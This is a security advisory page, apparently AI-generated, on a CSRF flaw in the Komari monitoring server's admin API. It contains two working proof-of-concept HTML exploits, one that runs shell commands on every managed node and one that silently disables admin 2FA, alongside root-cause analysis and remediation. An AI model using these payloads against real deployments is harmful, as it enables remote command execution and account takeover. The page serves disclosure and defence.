CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-HXJG-93WC-H8P8

GHSA-hxjg-93wc-h8p8: Cross-Site Request Forgery in Komari Management Interface

Alon Barad
Alon Barad
Software Engineer

Sep 10, 2026·5 min read·3 visits

Executive Summary (TL;DR)

Unauthenticated remote attackers can execute arbitrary shell commands on managed nodes and disable administrative 2FA by tricking an authenticated administrator into visiting a malicious link.

A high-severity Cross-Site Request Forgery (CSRF) vulnerability exists in the Komari server monitoring tool. The administrative interface sets authentication cookies without restrictive SameSite or Secure attributes, and lacks any CSRF validation, enabling unauthenticated remote attackers to execute arbitrary commands or modify backend settings by exploiting administrative sessions.

Vulnerability Overview

A high-severity Cross-Site Request Forgery (CSRF) vulnerability has been identified in the administrative interface of the Komari server monitoring tool. The flaw allows unauthenticated remote attackers to execute administrative state-changing actions via the browser of an authenticated administrator.

The target application sets the administrative authentication cookie (session_token) without specifying restrictive SameSite or Secure attributes. Furthermore, the routing configuration for /api/admin/ lacks Origin, Referer, or custom header validation, exposing critical endpoints to cross-origin abuse.

Root Cause Analysis

The root cause of this vulnerability lies in the combination of insecure session cookie configuration and the total absence of CSRF validation middleware on sensitive API endpoints.

During user authentication, the backend issues an authentication cookie. In the file api/public/login.go around line 68, the session_token cookie is created using the Gin framework's SetCookie function. The function is invoked without explicitly setting the SameSite parameter, leaving it empty. In legacy browsers or under specific cross-origin contexts, the browser defaults to loose cookie-sending behaviors.

Furthermore, the Secure flag is configured as false. This allows the session cookie to be transmitted over unencrypted HTTP, exposing it to interception. There are no additional controls—such as custom CSRF tokens or verification of Origin and Referer headers—present within the route group handling administrative commands.

Code Analysis

An analysis of the vulnerable and patched code shows how the cookie properties and routes were managed.

Vulnerable Code Path

In api/public/login.go, the cookie is set using default Gin parameters where transport security is disabled:

// Location: api/public/login.go
// The sixth parameter is 'secure' (set to false)
c.SetCookie("session_token", session, 2592000, "/", "", false, true)

Because the SameSite attribute is not explicitly configured on the context, the web server fails to supply a SameSite policy in the Set-Cookie header. Under legacy browser implementations or local intranet environments, this allows cross-site requests to automatically append the cookie.

Patched Implementation

To remediate the issue, the application must explicitly define a restrictive SameSite policy and enforce transport security:

// Location: api/public/login.go (Patched)
// Explicitly enforce SameSite Lax behavior
c.SetSameSite(http.SameSiteLaxMode)
// Set secure parameter (fifth parameter) to true to restrict transmission to HTTPS
c.SetCookie("session_token", session, 2592000, "/", "", true, true)

Exploitation Methodology

Exploitation is highly practical using cross-site requests. Because Gin's default JSON binder parses parameters regardless of the received Content-Type header, attackers can bypass CORS preflight restrictions by serving payloads with a text/plain Content-Type.

Proof-of-Concept 1: Remote Command Execution (RCE)

This script forces the administrator's browser to retrieve the active node list and execute arbitrary system shell commands across all managed client nodes:

<!DOCTYPE html>
<html>
<body>
<script>
var TARGET = "https://komari.example.com";
var COMMAND = "id && hostname && whoami";
 
fetch(TARGET + "/api/admin/client/list", { credentials: "include" })
  .then(function(r) { return r.json(); })
  .then(function(data) {
    var nodes = data.data || [];
    var uuids = [];
    for (var i = 0; i < nodes.length; i++) {
      if (nodes[i].uuid) uuids.push(nodes[i].uuid);
    }
    if (uuids.length === 0) return;
    return fetch(TARGET + "/api/admin/task/exec", {
      method: "POST",
      credentials: "include",
      headers: { "Content-Type": "text/plain" },
      body: JSON.stringify({ command: COMMAND, clients: uuids })
    });
  });
</script>
</body>
</html>

Proof-of-Concept 2: Disabling Two-Factor Authentication

An attacker can disable multi-factor administrative protections by tricking the victim into navigating to the following page:

<!DOCTYPE html>
<html>
<body>
<iframe name="hidden-sink" style="display:none"></iframe>
<form id="exploitForm" method="POST"
      action="https://komari.example.com/api/admin/2fa/disable"
      target="hidden-sink"></form>
<script>
  document.getElementById('exploitForm').submit();
</script>
</body>
</html>

Impact Assessment

The execution of this vulnerability leads to high-severity outcomes. An attacker who successfully exploits an administrative session achieves complete system compromise over both the monitoring master and the monitored fleet.

Critical Actions Reachable:

  • Arbitrary Shell Execution: The attacker can send arbitrary shell tasks to any managed client endpoint.
  • Authentication Defeat: The attacker can selectively disable administrative two-factor authentication (2FA).
  • Stored XSS: Attackers can rewrite site configuration templates to inject malicious persistent payloads (custom_head script injection), leading to subsequent session hijacking.
  • Data Deletion: Complete eradication of all monitoring records and active status logs.

Remediation & Defense

To resolve the vulnerability, administrators must update the Komari server installation to version 1.2.2 or later.

Manual Remediation Steps:

  1. Update the cookie configuration within the login handler to set Secure=true and enforce SameSite=Lax or SameSite=Strict.
  2. Implement a custom middleware to validate incoming request origins. This middleware must cross-reference the request's Origin or Referer header against the expected host header.
  3. Implement a custom validation header (e.g., requiring standard headers like X-Requested-With) for all API routes under /api/admin/.

Technical Appendix

CVSS Score
8.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Affected Systems

Komari Monitoring Server (github.com/komari-monitor/komari)

Affected Versions Detail

Product
Affected Versions
Fixed Version
github.com/komari-monitor/komari
Komari Monitor Team
< 0.0.0-20260609084633-98122fa4d1101.2.2
AttributeDetail
CWE IDCWE-352 (Cross-Site Request Forgery)
Attack VectorNetwork (AV:N)
CVSS Severity8.8 (High)
Exploit MaturityProof of Concept (PoC)
ImpactRemote Code Execution / Privilege Escalation
First Patched Version1.2.2

MITRE ATT&CK Mapping

T1204.001User Execution: Malicious Link
Execution
T1566.002Phishing: Spearphishing Link
Initial Access
T1059Command and Scripting Interpreter
Execution
CWE-352
Cross-Site Request Forgery (CSRF)

The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally sent by the user who submitted the request.

References & Sources

  • [1]Official GitHub Security Advisory
  • [2]Komari Release Tag 1.2.2

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 5 hours ago•CVE-2026-88002
6.5

CVE-2026-88002: Infinite Loop Denial of Service in Open WebUI Chat History Reconstruction

An infinite loop vulnerability (CWE-835) in Open WebUI versions 0.5.0 through 0.11.0 allows authenticated attackers to cause a complete and persistent Denial of Service (DoS) of the backend. By submitting a specially crafted chat history containing cyclic message references that omit internal message identifiers, the cycle detection mechanism is bypassed. This triggers an infinite synchronous traversal that blocks the single-threaded asyncio event loop and exhausts system memory, causing the application to crash.

Alon Barad
Alon Barad
5 views•7 min read
•about 6 hours ago•CVE-2026-88001
5.0

CVE-2026-88001: Server-Side Request Forgery via Redirect Bypass in Open WebUI

Server-Side Request Forgery (SSRF) vulnerability in Open WebUI (v0.9.5 to v0.11.1) allows authenticated users to bypass private IP and host filter lists by abusing HTTP redirect handling or using IP literals with the aiohttp client.

Alon Barad
Alon Barad
7 views•7 min read
•about 7 hours ago•CVE-2026-88000
6.5

CVE-2026-88000: Denial of Service via Infinite Loop in Open WebUI Chat History Deletion

An authenticated denial-of-service vulnerability exists in Open WebUI versions 0.10.0 up to 0.11.0. By uploading a malformed chat history containing cyclical child message references and requesting a message deletion, an attacker can trigger an infinite loop. Since Open WebUI relies on Python's single-threaded asyncio event loop, the CPU-bound loop blocks all incoming connections, freezing the service for all users.

Alon Barad
Alon Barad
8 views•6 min read
•about 11 hours ago•CVE-2026-71328
8.8

CVE-2026-71328: Heap-Based Buffer Overflow in Microsoft .NET and Visual Studio Parser

A heap-based buffer overflow vulnerability (CVE-2026-71328) exists within the parser component of Microsoft Visual Studio and Microsoft .NET runtimes. This vulnerability permits an unauthenticated remote attacker to execute arbitrary code with the privileges of the running application, provided they can convince a user to load a maliciously crafted project file, solution, or stream.

Alon Barad
Alon Barad
7 views•7 min read
•about 12 hours ago•CVE-2026-69439
8.8

CVE-2026-69439: Heap-based Buffer Overflow in Microsoft .NET and Visual Studio

CVE-2026-69439 is a high-severity elevation of privilege vulnerability in Microsoft .NET and Visual Studio, originating from a heap-based buffer overflow (CWE-122) within native parsing libraries. An unauthenticated attacker can achieve code execution under the privileges of the active process by convincing a user to open a specially crafted project, metadata stream, or dependency.

Amit Schendel
Amit Schendel
10 views•6 min read
•about 12 hours ago•CVE-2026-85730
8.2

CVE-2026-85730: Infinite Loop Denial of Service in smol-toml Parser

Prior to version 1.7.1, smol-toml is vulnerable to an infinite loop Denial of Service when parsing a malformed TOML payload containing an unclosed comment inside an array or inline table.

Amit Schendel
Amit Schendel
8 views•7 min read